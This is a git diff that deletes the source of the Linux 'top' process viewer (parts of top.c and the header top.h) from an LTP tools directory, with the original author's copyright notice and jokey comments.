-			     fmtmk(MEMORY_line1, kb_main_total, kb_main_used,
-				   kb_main_free, kb_main_buffers));
-		if (o_flag)
-			fprintf(outfile,
-				" TotalMem:%dk\tUsedMem:%dk\tFreeMem:%dk\t\tBuffers:%dk\n",
-				kb_main_total, kb_main_used, kb_main_free,
-				kb_main_buffers);
-		show_special(0,
-			     fmtmk(MEMORY_line2, kb_swap_total, kb_swap_used,
-				   kb_swap_free, kb_main_cached));
-		if (o_flag)
-			fprintf(outfile,
-				" TotalSwap:%dk\tUsedSwap:%dk\tFreeSwap:%dk\tCached:%dk\n",
-				kb_swap_total, kb_swap_used, kb_swap_free,
-				kb_main_cached);
-		Msg_row += 2;
-	}
-	if (o_flag)
-		fprintf(outfile, "============\n");
-	SETw(Curwin, NEWFRAM_cwo);
-	return p_table;
-}
-
-	/*
-	 * Display information for a single task row. */
-static void task_show(const WIN_t * q, const proc_t * p)
-{
-	/* the following macro is our means to 'inline' emitting a column -- next to
-	   procs_refresh, that's the most frequent and costly part of top's job ! */
-#define MKCOL(va...) do { \
-   if (likely(!(CHKw(q, Show_HICOLS) && q->rc.sortindx == i))) \
-      snprintf(cbuf, sizeof(cbuf), f, ## va); \
-   else { \
-      snprintf(_z, sizeof(_z), f, ## va); \
-      snprintf(cbuf, sizeof(cbuf), "%s%s%s", q->capclr_rowhigh, _z \
-         , !(CHKw(q, Show_HIROWS) && 'R' == p->state) ? q->capclr_rownorm : ""); \
-      pad += q->len_rowhigh; \
-      if (!(CHKw(q, Show_HIROWS) && 'R' == p->state)) pad += q->len_rownorm; \
-   } } while (0)
-	char rbuf[ROWBUFSIZ], *rp;
-	int j, x, pad;
-
-	// we must begin a row with a possible window number in mind...
-	*(rp = rbuf) = '\0';
-	if ((pad = Rc.mode_altscr))
-		rp = scat(rp, " ");
-
-	for (x = 0; x < q->maxpflgs; x++) {
-		char cbuf[ROWBUFSIZ], _z[ROWBUFSIZ];
-		FLG_t i = q->procflags[x];	// support for our field/column
-		const char *f = Fieldstab[i].fmts;	// macro AND sometimes the fmt
-		unsigned s = Fieldstab[i].scale;	// string must be altered !
-		unsigned w = Fieldstab[i].width;
-
-		switch (i) {
-		case P_CMD:
-			{
-				char tmp[ROWBUFSIZ];
-				unsigned flags;
-				if (CHKw(q, Show_CMDLIN))
-					flags =
-					    ESC_DEFUNCT | ESC_BRACKETS |
-					    ESC_ARGS;
-				else
-					flags = ESC_DEFUNCT;
-				escape_command(tmp, p, sizeof tmp, q->maxcmdln,
-					       flags);
-				MKCOL(q->maxcmdln, q->maxcmdln, tmp);
-			}
-			break;
-		case P_COD:
-			MKCOL(scale_num(PAGES_2K(p->trs), w, s));
-			break;
-		case P_CPN:
-			MKCOL((unsigned)p->processor);
-			break;
-		case P_CPU:
-			{
-				float u = (float)p->pcpu * Frame_tscale;
-				if (99.9 < u)
-					u = 99.9;
-				MKCOL(u);
-			}
-			break;
-		case P_DAT:
-			MKCOL(scale_num(PAGES_2K(p->drs), w, s));
-			break;
-		case P_DRT:
-			MKCOL(scale_num((unsigned)p->dt, w, s));
-			break;
-		case P_FLG:
-			{
-				char tmp[TNYBUFSIZ];
-				snprintf(tmp, sizeof(tmp), f, (long)p->flags);
-				for (j = 0; tmp[j]; j++)
-					if ('0' == tmp[j])
-						tmp[j] = '.';
-				f = tmp;
-				MKCOL("");
-			}
-			break;
-		case P_FLT:
-			MKCOL(scale_num(p->maj_flt, w, s));
-			break;
-		case P_GRP:
-			MKCOL(p->egroup);
-			break;
-		case P_MEM:
-			MKCOL((float)PAGES_2K(p->resident) * 100 /
-			      kb_main_total);
-			break;
-		case P_NCE:
-			MKCOL((int)p->nice);
-			break;
-		case P_PID:
-			MKCOL((unsigned)p->pid);
-			break;
-		case P_PPD:
-			MKCOL((unsigned)p->ppid);
-			break;
-		case P_PRI:
-			if (unlikely(-99 > p->priority)
-			    || unlikely(999 < p->priority)) {
-				f = " RT ";
-				MKCOL("");
-			} else
-				MKCOL((int)p->priority);
-			break;
-		case P_RES:
-			MKCOL(scale_num(PAGES_2K(p->resident), w, s));
-			break;
-		case P_SHR:
-			MKCOL(scale_num(PAGES_2K(p->share), w, s));
-			break;
-		case P_STA:
-#ifdef USE_LIB_STA3
-			MKCOL(status(p));
-#else
-			MKCOL(p->state);
-#endif
-			break;
-		case P_SWP:
-			MKCOL(scale_num(PAGES_2K(p->size - p->resident), w, s));
-			break;
-		case P_TME:
-		case P_TM2:
-			{
-				TIC_t t = p->utime + p->stime;
-				if (CHKw(q, Show_CTIMES))
-					t += (p->cutime + p->cstime);
-				MKCOL(scale_tics(t, w));
-			}
-			break;
-		case P_TTY:
-			{
-				char tmp[TNYBUFSIZ];
-				dev_to_tty(tmp, (int)w, p->tty, p->pid,
-					   ABBREV_DEV);
-				MKCOL(tmp);
-			}
-			break;
-		case P_UID:
-			MKCOL((unsigned)p->euid);
-			break;
-		case P_URE:
-			MKCOL(p->euser);
-			break;
-		case P_URR:
-			MKCOL(p->ruser);
-			break;
-		case P_VRT:
-			MKCOL(scale_num(PAGES_2K(p->size), w, s));
-			break;
-		case P_WCH:
-			if (No_ksyms) {
-#ifdef CASEUP_HEXES
-				f = "%08lX  ";
-#else
-				f = "%08lx  ";
-#endif
-				MKCOL((long)p->wchan);
-			} else {
-				MKCOL(wchan(p->wchan, p->pid));
-			}
-			break;
-
-		}		/* end: switch 'procflag' */
-
-		rp = scat(rp, cbuf);
-	}			/* end: for 'maxpflgs' */
-
-	PUFF("\n%s%.*s%s%s", (CHKw(q, Show_HIROWS) && 'R' == p->state)
-	     ? q->capclr_rowhigh : q->capclr_rownorm, Screen_cols + pad, rbuf,
-	     Caps_off, Cap_clr_eol);
-
-#undef MKCOL
-}
-
-	/*
-	 * Squeeze as many tasks as we can into a single window,
-	 * after sorting the passed proc table. */
-static void window_show(proc_t ** ppt, WIN_t * q, int *lscr)
-{
-#ifdef SORT_SUPRESS
-	// the 1 flag that DOES and 2 flags that MAY impact our proc table qsort
-#define srtMASK  ~( Qsrt_NORMAL | Show_CMDLIN | Show_CTIMES )
-	static FLG_t sav_indx = 0;
-	static int sav_flgs = -1;
-#endif
-	int i, lwin;
-
-	/*
-	 ** Display Column Headings -- and distract 'em while we sort (maybe) */
-	PUFF("\n%s%s%s%s", q->capclr_hdr, q->columnhdr, Caps_off, Cap_clr_eol);
-
-#ifdef SORT_SUPRESS
-	if (CHKw(Curwin, NEWFRAM_cwo)
-	    || sav_indx != q->rc.sortindx
-	    || sav_flgs != (q->rc.winflags & srtMASK)) {
-		sav_indx = q->rc.sortindx;
-		sav_flgs = (q->rc.winflags & srtMASK);
-#endif
-		if (CHKw(q, Qsrt_NORMAL))
-			Frame_srtflg = 1;	// this one's always needed!
-		else
-			Frame_srtflg = -1;
-		Frame_ctimes = CHKw(q, Show_CTIMES);	// this and next, only maybe
-		Frame_cmdlin = CHKw(q, Show_CMDLIN);
-		qsort(ppt, Frame_maxtask, sizeof(proc_t *),
-		      Fieldstab[q->rc.sortindx].sort);
-#ifdef SORT_SUPRESS
-	}
-#endif
-	// account for column headings
-	(*lscr)++;
-	lwin = 1;
-	i = 0;
-
-	while (-1 != ppt[i]->pid && *lscr < Max_lines
-	       && (!q->winlines || (lwin <= q->winlines))) {
-		if ((CHKw(q, Show_IDLEPS)
-		     || ('S' != ppt[i]->state && 'Z' != ppt[i]->state))
-		    && good_uid(ppt[i])) {
-			/*
-			 ** Display a process Row */
-			task_show(q, ppt[i]);
-			(*lscr)++;
-			++lwin;
-		}
-		++i;
-	}
-	// for this frame that window's toast, cleanup for next time
-	q->winlines = 0;
-	OFFw(Curwin, FLGSOFF_cwo);
-
-#ifdef SORT_SUPRESS
-#undef srtMASK
-#endif
-}
-
-/*######  Entry point plus two  ##########################################*/
-
-	/*
-	 * This guy's just a *Helper* function who apportions the
-	 * remaining amount of screen real estate under multiple windows */
-static void framehlp(int wix, int max)
-{
-	int i, rsvd, size, wins;
-
-	// calc remaining number of visible windows + total 'user' lines
-	for (i = wix, rsvd = 0, wins = 0; i < GROUPSMAX; i++) {
-		if (CHKw(&Winstk[i], VISIBLE_tsk)) {
-			rsvd += Winstk[i].rc.maxtasks;
-			++wins;
-			if (max <= rsvd)
-				break;
-		}
-	}
-	if (!wins)
-		wins = 1;
-	// set aside 'rsvd' & deduct 1 line/window for the columns heading
-	size = (max - wins) - rsvd;
-	if (0 <= size)
-		size = max;
-	size = (max - wins) / wins;
-
-	/* for remaining windows, set WIN_t winlines to either the user's
-	   maxtask (1st choice) or our 'foxized' size calculation
-	   (foxized  adj. -  'fair and balanced') */
-	for (i = wix; i < GROUPSMAX; i++) {
-		if (CHKw(&Winstk[i], VISIBLE_tsk)) {
-			Winstk[i].winlines =
-			    Winstk[i].rc.maxtasks ? Winstk[i].rc.
-			    maxtasks : size;
-		}
-	}
-}
-
-	/*
-	 * Initiate the Frame Display Update cycle at someone's whim!
-	 * This routine doesn't do much, mostly he just calls others.
-	 *
-	 * (Whoa, wait a minute, we DO caretake those row guys, plus)
-	 * (we CALCULATE that IMPORTANT Max_lines thingy so that the)
-	 * (*subordinate* functions invoked know WHEN the user's had)
-	 * (ENOUGH already.  And at Frame End, it SHOULD be apparent)
-	 * (WE am d'MAN -- clearing UNUSED screen LINES and ensuring)
-	 * (the CURSOR is STUCK in just the RIGHT place, know what I)
-	 * (mean?  Huh, "doesn't DO MUCH"!  Never, EVER think or say)
-	 * (THAT about THIS function again, Ok?  Good that's better.)
-	 *
-	 * (ps. we ARE the UNEQUALED justification KING of COMMENTS!)
-	 * (No, I don't mean significance/relevance, only alignment.)
-	 *
-	 * (What's that?  Are you sure?  Old main's REALLY GOOD too?)
-	 * (You say he even JUSTIFIES comments in his FUNCTION BODY?)
-	 * (Jeeze, how COULD I have known?  That sob's NOT IN SCOPE!)
-	 */
-static void frame_make(void)
-{
-	proc_t **ppt;
-	int i, scrlins;
-
-	/* note: except for PROC_PID, all libproc flags are managed by
-	   reframewins(), who also builds each window's column headers */
-	if (!Frames_libflags) {
-		reframewins();
-		memset(Pseudo_scrn, '\0', Pseudo_size);
-	}
-	Pseudo_row = Msg_row = scrlins = 0;
-	ppt = summary_show();
-	Max_lines = (Screen_rows - Msg_row) - 1;
-
-	if (CHKw(Curwin, EQUWINS_cwo))
-		wins_reflag(Flags_OFF, EQUWINS_cwo);
-
-	// sure hope each window's columns header begins with a newline...
-	putp(tg2(0, Msg_row));
-
-	if (!Rc.mode_altscr) {
-		// only 1 window to show so, piece o' cake
-		Curwin->winlines = Curwin->rc.maxtasks;
-		window_show(ppt, Curwin, &scrlins);
-	} else {
-		// maybe NO window is visible but assume, pieces o' cakes
-		for (i = 0; i < GROUPSMAX; i++) {
-			if (CHKw(&Winstk[i], VISIBLE_tsk)) {
-				framehlp(i, Max_lines - scrlins);
-				window_show(ppt, &Winstk[i], &scrlins);
-			}
-			if (Max_lines <= scrlins)
-				break;
-		}
-	}
-	/* clear to end-of-screen (critical if last window is 'idleps off'),
-	   then put the cursor in-its-place, and rid us of any prior frame's msg
-	   (main loop must iterate such that we're always called before sleep) */
-	PUTT("%s%s%s%s", scrlins < Max_lines ? "\n" : "",
-	     scrlins < Max_lines ? Cap_clr_eos : "", tg2(0, Msg_row)
-	     , Cap_clr_eol);
-	fflush(stdout);
-}
-
-	/*
-	 * Darling, you DO look simply MARVELOUS -- have you been dieting?
-	 * Or maybe it's because YOU and WINDOWS seem such a HAPPY couple.
-	 *
-	 * Of course NO.  Not THOSE deathly BLUE WINDOWS!  I mean your 'A'
-	 * mode (alt display) windows.  Yes, yes those completely OPTIONAL
-	 * ones.  We ALL know you'd NEVER FORCE that interface on ANY user
-	 * - unlike You-Know-Who!  Well I've got to run.  But you're doing
-	 * it just SPLENDIDLY!  You go right on doing it EXACTLY the SAME!
-	 */
-int main(int dont_care_argc, char **argv)
-{
-	(void)dont_care_argc;
-	before(*argv);
-	/*
-	   Ok, she's gone now.  Don't you mind her, she means well but yes, she is
-	   a bit of a busy-body.  Always playing the matchmaker role, trying to do
-	   away with unmarried windows and bachelors.  So, back to business buddy!
-
-	   You're hungry, you said?  How'd you like a sandwich?  No, no, no -- not
-	   the usual slopped together, hacked up illogic.  I'm talkin' a carefully
-	   reasoned, artfully crafted, extremely capable, well behaved executable!
-
-	   Well then, here, try THIS sandwich:  */
-	//                 +-------------+
-	windows_stage1();	//                 top (sic) slice
-	configs_read();		//                 > spread etc, <
-	parse_args(&argv[1]);	//                 > lean stuff, <
-	whack_terminal();	//                 > onions etc. <
-	windows_stage2();	//                 as bottom slice
-	//                 +-------------+
-	signal(SIGALRM, end_pgm);
-	signal(SIGHUP, end_pgm);
-	signal(SIGINT, end_pgm);
-	signal(SIGPIPE, end_pgm);
-	signal(SIGQUIT, end_pgm);
-	signal(SIGTERM, end_pgm);
-	signal(SIGTSTP, suspend);
-	signal(SIGTTIN, suspend);
-	signal(SIGTTOU, suspend);
-	signal(SIGCONT, wins_resize);
-	signal(SIGWINCH, wins_resize);
-
-	for (;;) {
-		struct timeval tv;
-		fd_set fs;
-		char c;
-		//                     This is it?
-		frame_make();	//                     Impossible!
-
-		if (Msg_awaiting)
-			show_msg(Msg_delayed);
-		if (0 < Loops)
-			--Loops;
-		if (!Loops)
-			end_pgm(0);
-
-		if (Batch)
-			sleep((unsigned)Rc.delay_time);
-		else {		//   Linux reports time not slept,
-			tv.tv_sec = Rc.delay_time;	//   so we must reinit every time.
-			tv.tv_usec =
-			    (Rc.delay_time - (int)Rc.delay_time) * 1000000;
-			FD_ZERO(&fs);
-			FD_SET(STDIN_FILENO, &fs);
-			if (0 < select(STDIN_FILENO + 1, &fs, NULL, NULL, &tv)
-			    && 0 < chin(0, &c, 1))
-				do_key((unsigned)c);
-		}
-	}
-
-	/*
-	   (listen before we return, aren't you sort of sad for old 'frame_make'?)
-	   (so, uh, why don't we just move this main guy to near the beginning of)
-	   (the C source file.  then that poor old function would be sure to have)
-	   (at least a chance at scopin' us out, ya know what i mean?  so what do)
-	   (ya think?  all things considered, would that be a proper thing to do?)
-
-	   Now there's an EXCELLENT idea!  After all, SOME programmers DO code the
-	   main function ANY OLD PLACE they feel like.  And in doing THAT, they're
-	   helping to keep those that FOLLOW out of mischief, busy HUNTING for the
-	   <bleepin'> thing.  Further, by moving it we can contribute to PROTOTYPE
-	   PROLIFERATION for every function main calls.  Don't you KNOW that those
-	   declarations OFTEN LINGER, usually long AFTER the REAL definitions have
-	   DISAPPEARED, since programs do evolve?  Yep that's a GREAT idea you got
-	   there, NICE GOING!  But, here's an opposing view: ANYONE who'd put main
-	   ANYWHERE such that its LOCATION cannot be REACHED with JUST 1 KEYSTROKE
-	   better turn in their Coding_Badge and Pocket_Protector then -- BE GONE!
-	   The main function has only ONE proper HOME: always the LAST function in
-	   that C Listing.  End-of-Story, No-More-Discussion, so BE QUIET already!
-
-	   \---------------------------------------------------------------------/
-	   Sheeesh, didn't that doofus know the return statement can't be executed
-	   or that we end via a caught signal?  Oh Lordy, I is DROWNING in morons!
-	   They done REACHED clear up to my OUTER braces!  We's surely DOOMED now!
-	   /---------------------------------------------------------------------\
-	 */
-	return 0;
-}
diff --git a/tools/top-LTP/top.h b/tools/top-LTP/top.h
deleted file mode 100644
index 0e7f26c..0000000
--- a/tools/top-LTP/top.h
+++ /dev/null
@@ -1,634 +0,0 @@
-/* top.h - Header file:         show Linux processes */
-/*
- * Copyright (c) 2002, by:      James C. Warner
- *    All rights reserved.      8921 Hilloway Road
- *                              Eden Prairie, Minnesota 55347 USA
- *                             <warnerjc@worldnet.att.net>
- *
- * This file may be used subject to the terms and conditions of the
- * GNU Library General Public License Version 2, or any later version
- * at your option, as published by the Free Software Foundation.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU Library General Public License for more details.
- *
- * For their contributions to this program, the author wishes to thank:
- *    Albert D. Cahalan, <albert@users.sf.net>
- *    Craig Small, <csmall@small.dropbear.id.au>
- *
- * Changes by Albert Cahalan, 2002.
- */
-
-#ifndef _Itop
-#define _Itop
-
-        /* Defines intended to be experimented with ------------------------ */
-//#define CASEUP_HEXES            /* show any hex values in upper case       */
-//#define CASEUP_SCALE            /* show scaled time/num suffix upper case  */
-//#define CASEUP_SUMMK            /* show memory summary kilobytes with 'K'  */
-//#define SORT_SUPRESS            /* *attempt* to reduce qsort overhead      */
-//#define USE_LIB_STA3            /* use lib status (3 ch) vs. proc_t (1 ch) */
-//#define WARN_NOT_SMP            /* restrict '1' & 'I' commands to true smp */
-
-        /* Development/Debugging defines ----------------------------------- */
-//#define ATEOJ_REPORT            /* report a bunch of stuff, at end-of-job  */
-//#define PRETEND2_5_X            /* pretend we're linux 2.5.x (for IO-wait) */
-//#define PRETEND4CPUS            /* pretend we're smp with 4 ticsers (sic)  */
-//#define PRETENDNOCAP            /* use a terminal without essential caps   */
-//#define STDOUT_IOLBF            /* disable our own stdout _IOFBF override  */
-
-#ifdef PRETEND2_5_X
-#define linux_version_code LINUX_VERSION(2,5,43)
-#endif
-
-/*######  Some Miscellaneous constants  ##################################*/
-
-        /* The default delay twix updates */
-#define DEF_DELAY  3.0
-
-        /* The length of time a 'message' is displayed */
-#define MSG_SLEEP  2
-
-        /* The default value for the 'k' (kill) request */
-#define DEF_SIGNAL  SIGTERM
-
-        /* Specific process id monitoring support (command line only) */
-#define MONPIDMAX  20
-
-        /* Miscellaneous buffer sizes with liberal values
-           -- mostly just to pinpoint source code usage/dependancies */
-#define SCREENMAX   512
-   /* the above might seem pretty stingy, until you consider that with every
-      one of top's fields displayed we're talking a 160 byte column header --
-      so that will provide for all fields plus a 350+ byte command line */
-#define WINNAMSIZ     4
-#define CAPTABMAX     9
-#define PFLAGSSIZ    32
-#define CAPBUFSIZ    32
-#define CLRBUFSIZ    64
-#define GETBUFSIZ    32
-#define TNYBUFSIZ    32
-#define SMLBUFSIZ   256
-#define OURPATHSZ  1024
-#define MEDBUFSIZ  1024
-#define BIGBUFSIZ  2048
-#define USRNAMSIZ  GETBUFSIZ
-#define ROWBUFSIZ  SCREENMAX + CLRBUFSIZ
-
-
-/*######  Some Miscellaneous Macro definitions  ##########################*/
-
-        /* Yield table size as 'int' */
-#define MAXTBL(t)  (int)(sizeof(t) / sizeof(t[0]))
-
-        /* Convert some proc stuff into vaules we can actually use */
-#define BYTES_2K(n)  (unsigned)( (n) >> 10 )
-#define PAGES_2B(n)  (unsigned)( (n) * Page_size )
-#define PAGES_2K(n)  BYTES_2K(PAGES_2B(n))
-
-        /* Used as return arguments in *some* of the sort callbacks */
-#define SORT_lt  ( Frame_srtflg > 0 ?  1 : -1 )
-#define SORT_gt  ( Frame_srtflg > 0 ? -1 :  1 )
-#define SORT_eq  0
-
-        /* Used to create *most* of the sort callback functions
-           note: some of the callbacks are NOT your father's callbacks, they're
-                 highly optimized to save them ol' precious cycles! */
-#define SCB_NUM1(f,n) \
-   static int sort_ ## f (const proc_t **P, const proc_t **Q) { \
-      if ((*P)->n < (*Q)->n) return SORT_lt; \
-      if (likely( (*P)->n > (*Q)->n )) return SORT_gt; \
-      return SORT_eq; }
-#define SCB_NUM2(f,n1,n2) \
-   static int sort_ ## f (const proc_t **P, const proc_t **Q) { \
-      if (((*P)->n1 - (*P)->n2) < ((*Q)->n1 - (*Q)->n2)) return SORT_lt; \
-      if (likely( ((*P)->n1 - (*P)->n2) > ((*Q)->n1 - (*Q)->n2) )) return SORT_gt; \
-      return SORT_eq; }
-#define SCB_NUMx(f,n) \
-   static int sort_ ## f (const proc_t **P, const proc_t **Q) { \
-      return Frame_srtflg * ( (*Q)->n - (*P)->n ); }
-#define SCB_STRx(f,s) \
-   static int sort_ ## f (const proc_t **P, const proc_t **Q) { \
-      return Frame_srtflg * strcmp((*Q)->s, (*P)->s); }
-
-        /* The following two macros are used to 'inline' those portions of the
-         * display process requiring formatting, while protecting against any
-         * potential embedded 'millesecond delay' escape sequences. */
-        /**  PUTT - Put to Tty (used in many places)
-               . for temporary, possibly interactive, 'replacement' output
-               . may contain ANY valid terminfo escape sequences
-               . need NOT represent an entire screen row */
-#define PUTT(fmt,arg...) do { \
-      char _str[ROWBUFSIZ]; \
-      snprintf(_str, sizeof(_str), fmt, ## arg); \
-      putp(_str); \
-   } while (0)
-        /**  PUFF - Put for Frame (used in only 3 places)
-               . for more permanent frame-oriented 'update' output
-               . may NOT contain cursor motion terminfo escapes
-               . assumed to represent a complete screen ROW
-               . subject to optimization, thus MAY be discarded */
-#define PUFF(fmt,arg...) do { \
-      char _str[ROWBUFSIZ]; \
-      char *_ptr = &Pseudo_scrn[Pseudo_row++ * Pseudo_cols]; \
-      int _len = 1 + snprintf(_str, sizeof(_str), fmt, ## arg); \
-      if (Batch) putp(_str); \
-      else { \
-         if (!memcmp(_ptr, _str, _len)) \
-            putp("\n"); \
-         else { \
-            memcpy(_ptr, _str, _len); \
-            putp(_ptr); \
-      } } \
-   } while (0)
-
-/*------  Special Macros (debug and/or informative)  ---------------------*/
-
-        /* Orderly end, with any sort of message - see fmtmk */
-#define debug_END(s) { \
-           static void std_err (const char *); \
-           fputs(Cap_clr_scr, stdout); \
-           std_err(s); \
-        }
-
-        /* A poor man's breakpoint, if he's too lazy to learn gdb */
-#define its_YOUR_fault { *((char *)0) = '!'; }
-
-
-/*######  Some Typedef's and Enum's  #####################################*/
-
-        /* This typedef just ensures consistent 'process flags' handling */
-typedef unsigned FLG_t;
-
-        /* These typedefs attempt to ensure consistent 'ticks' handling */
-typedef unsigned long long TIC_t;
-typedef          long long SIC_t;
-
-        /* Sort support, callback funtion signature */
-typedef int (*QFP_t)(const void *, const void *);
-
-        /* This structure consolidates the information that's used
-           in a variety of display roles. */
-typedef struct FLD_t {
-   const char    keys [4];      // order: New-on New-off Old-on Old-off
-   const char   *head;          // name for col heads + toggle/reorder fields
-   const char   *fmts;          // sprintf format string for field display
-   const int     width;         // field width, if applicable
-   const int     scale;         // scale_num type, if applicable
-   const QFP_t   sort;          // sort function
-   const char   *desc;          // description for toggle/reorder fields
-   const int     lflg;          // PROC_FILLxxx flag(s) needed by this field
-} FLD_t;
-
-        /* This structure stores one piece of critical 'history'
-           information from one frame to the next -- we don't calc
-           and save data that goes unused like the old top! */
-typedef struct HST_t {
-   int   pid;
-   TIC_t tics;
-} HST_t;
-
-        /* This structure stores a frame's cpu tics used in history
-           calculations.  It exists primarily for SMP support but serves
-           all environments. */
-typedef struct CPU_t {
-   TIC_t u, n, s, i, w;                         // as represented in /proc/stat
-   TIC_t u_sav, s_sav, n_sav, i_sav, w_sav;     // in the order of our display
-} CPU_t;
-
-        /* These 2 types support rcfile compatibility */
-typedef struct RCW_t {  // the 'window' portion of an rcfile
-   FLG_t  sortindx;             // sort field, represented as a procflag
-   int    winflags,             // 'view', 'show' and 'sort' mode flags
-          maxtasks,             // user requested maximum, 0 equals all
-          summclr,                      // color num used in summ info
-          msgsclr,                      //        "       in msgs/pmts
-          headclr,                      //        "       in cols head
-          taskclr;                      //        "       in task rows
-   char   winname [WINNAMSIZ],          // window name, user changeable
-          fieldscur [PFLAGSSIZ];        // fields displayed and ordered
-} RCW_t;
-
-typedef struct RCF_t {  // the complete rcfile (new style)
-   int    mode_altscr;          // 'A' - Alt display mode (multi task windows)
-   int    mode_irixps;          // 'I' - Irix vs. Solaris mode (SMP-only)
-   float  delay_time;           // 'd' or 's' - How long to sleep twixt updates
-   int    win_index;            // Curwin, as index
-   RCW_t  win [4];              // a 'WIN_t.rc' for each of the 4 windows
-} RCF_t;
-
-        /* The scaling 'type' used with scale_num() -- this is how
-           the passed number is interpreted should scaling be necessary */
-enum scale_num {
-   SK_no, SK_Kb, SK_Mb, SK_Gb
-};
-
-        /* Flags for each possible field */
-enum pflag {
-   P_PID, P_PPD, P_URR, P_UID, P_URE, P_GRP, P_TTY,
-   P_PRI, P_NCE,
-   P_CPN, P_CPU, P_TME, P_TM2,
-   P_MEM, P_VRT, P_SWP, P_RES, P_COD, P_DAT, P_SHR,
-   P_FLT, P_DRT,
-   P_STA, P_CMD, P_WCH, P_FLG
-};
-
-
-        /* ////////////////////////////////////////////////////////////// */
-        /* Special Section: multiple windows/field groups  ---------------*/
-        /* (kind of a header within a header:  constants, macros & types) */
-
-#define GROUPSMAX  4            /* the max number of simultaneous windows */
-#define GRPNAMSIZ  WINNAMSIZ+2  /* window's name + number as in: '#:...'  */
-
-#define Flags_TOG  1            /* these are used to direct wins_reflag   */
-#define Flags_SET  2
-#define Flags_OFF  3
-
-        /* The Persistent 'Mode' flags!
-           These are preserved in the rc file, as a single integer and the
-           letter shown is the corresponding 'command' toggle */
-        // 'View_' flags affect the summary (minimum), taken from 'Curwin'
-#define View_CPUSUM  0x8000     /* '1' - show combined cpu stats (vs. each)  */
-#define View_LOADAV  0x4000     /* 'l' - display load avg and uptime summary */
-#define View_STATES  0x2000     /* 't' - display task/cpu(s) states summary  */
-#define View_MEMORY  0x1000     /* 'm' - display memory summary              */
-#define View_NOBOLD  0x0001     /* 'B' - disable 'bold' attribute globally   */
-        // 'Show_' & 'Qsrt_' flags are for task display in a visible window
-#define Show_COLORS  0x0800     /* 'z' - show in color (vs. mono)            */
-#define Show_HIBOLD  0x0400     /* 'b' - rows and/or cols bold (vs. reverse) */
-#define Show_HICOLS  0x0200     /* 'x' - show sort column highlighted        */
-#define Show_HIROWS  0x0100     /* 'y' - show running tasks highlighted      */
-#define Show_CMDLIN  0x0080     /* 'c' - show cmdline vs. name               */
-#define Show_CTIMES  0x0040     /* 'S' - show times as cumulative            */
-#define Show_IDLEPS  0x0020     /* 'i' - show idle processes (all tasks)     */
-#define Qsrt_NORMAL  0x0010     /* 'R' - reversed column sort (high to low)  */
-        // these flag(s) have no command as such - they're for internal use
-#define VISIBLE_tsk  0x0008     /* tasks are showable when in 'Mode_altscr'  */
-#define NEWFRAM_cwo  0x0004     /* new frame (if anyone cares) - in Curwin   */
-#define EQUWINS_cwo  0x0002     /* rebalance tasks next frame (off 'i'/ 'n') */
-                                /* ...set in Curwin, but impacts all windows */
-
-        // Current-window-only flags -- always turned off at end-of-window!
-#define FLGSOFF_cwo  EQUWINS_cwo | NEWFRAM_cwo
-
-        // Default flags if there's no rcfile to provide user customizations
-#define DEF_WINFLGS ( View_LOADAV | View_STATES | View_CPUSUM | View_MEMORY | \
-   Show_HIBOLD | Show_HIROWS | Show_IDLEPS | Qsrt_NORMAL | VISIBLE_tsk )
-
-        // Used to test/manipulate the window flags
-#define CHKw(q,f)   (int)((q)->rc.winflags & (f))
-#define TOGw(q,f)   (q)->rc.winflags ^=  (f)
-#define SETw(q,f)   (q)->rc.winflags |=  (f)
-#define OFFw(q,f)   (q)->rc.winflags &= ~(f)
-#define VIZCHKc     (!Rc.mode_altscr || Curwin->rc.winflags & VISIBLE_tsk) \
-                        ? 1 : win_warn()
-#define VIZTOGc(f)  (!Rc.mode_altscr || Curwin->rc.winflags & VISIBLE_tsk) \
-                        ? TOGw(Curwin, f) : win_warn()
-
-        /* This structure stores configurable information for each window.
-           By expending a little effort in its creation and user requested
-           maintainence, the only real additional per frame cost of having
-           windows is an extra sort -- but that's just on ptrs! */
-typedef struct WIN_t {
-   struct WIN_t *next,                  // next window in window stack
-                *prev;                  // prior window in window stack
-   char       *captab [CAPTABMAX];      // captab needed by show_special
-   int         winnum,                  // window's num (array pos + 1)
-               winlines;                // task window's rows (volatile)
-   FLG_t       procflags [PFLAGSSIZ];   // fieldscur subset, as enum
-   int         maxpflgs,        // number of procflags (upcase fieldscur)
-               maxcmdln;        // max length of a process' command line
-   int         len_rownorm,     // lengths of the corresponding terminfo
-               len_rowhigh;     // strings to avoid repeated strlen calls
-   RCW_t       rc;              // stuff that gets saved in the rcfile
-   char        capclr_sum [CLRBUFSIZ],  // terminfo strings built from
-               capclr_msg [CLRBUFSIZ],  //    above clrs (& rebuilt too),
-               capclr_pmt [CLRBUFSIZ],  //    but NO recurring costs !!!
-               capclr_hdr [CLRBUFSIZ],     // note: sum, msg and pmt strs
-               capclr_rowhigh [CLRBUFSIZ], //    are only used when this
-               capclr_rownorm [CLRBUFSIZ]; //    window is the 'Curwin'!
-   char        cap_bold [CAPBUFSIZ];    // support for View_NOBOLD toggle
-   char        grpname   [GRPNAMSIZ],   // window number:name, printable
-               columnhdr [SCREENMAX],   // column headings for procflags
-               colusrnam [USRNAMSIZ];   // if selected by the 'u' command
-} WIN_t;
-        /* ////////////////////////////////////////////////////////////// */
-
-
-/*######  Display Support *Data*  ########################################*/
-
-        /* Configuration files support */
-#define SYS_RCFILESPEC  "/etc/toprc"
-#define RCF_EYECATCHER  "RCfile for "
-#define RCF_DEPRECATED  "Id:a, "
-
-        /* The default fields displayed and their order,
-           if nothing is specified by the loser, oops user */
-#define DEF_FIELDS  "AEHIOQTWKNMbcdfgjplrsuvyzX"
-        /* Pre-configured field groupss */
-#define JOB_FIELDS  "ABcefgjlrstuvyzMKNHIWOPQDX"
-#define MEM_FIELDS  "ANOPQRSTUVbcdefgjlmyzWHIKX"
-#define USR_FIELDS  "ABDECGfhijlopqrstuvyzMKNWX"
-        /* Used by fields_sort, placed here for peace-of-mind */
-#define NUL_FIELDS  "abcdefghijklmnopqrstuvwxyz"
-
-
-        /* The default values for the local config file */
-#define DEF_RCFILE { \
-   0, 1, DEF_DELAY, 0, { \
-   { P_CPU, DEF_WINFLGS, 0, \
-      COLOR_RED, COLOR_RED, COLOR_YELLOW, COLOR_RED, \
-      "Def", DEF_FIELDS }, \
-   { P_PID, DEF_WINFLGS, 0, \
-      COLOR_CYAN, COLOR_CYAN, COLOR_WHITE, COLOR_CYAN, \
-      "Job", JOB_FIELDS }, \
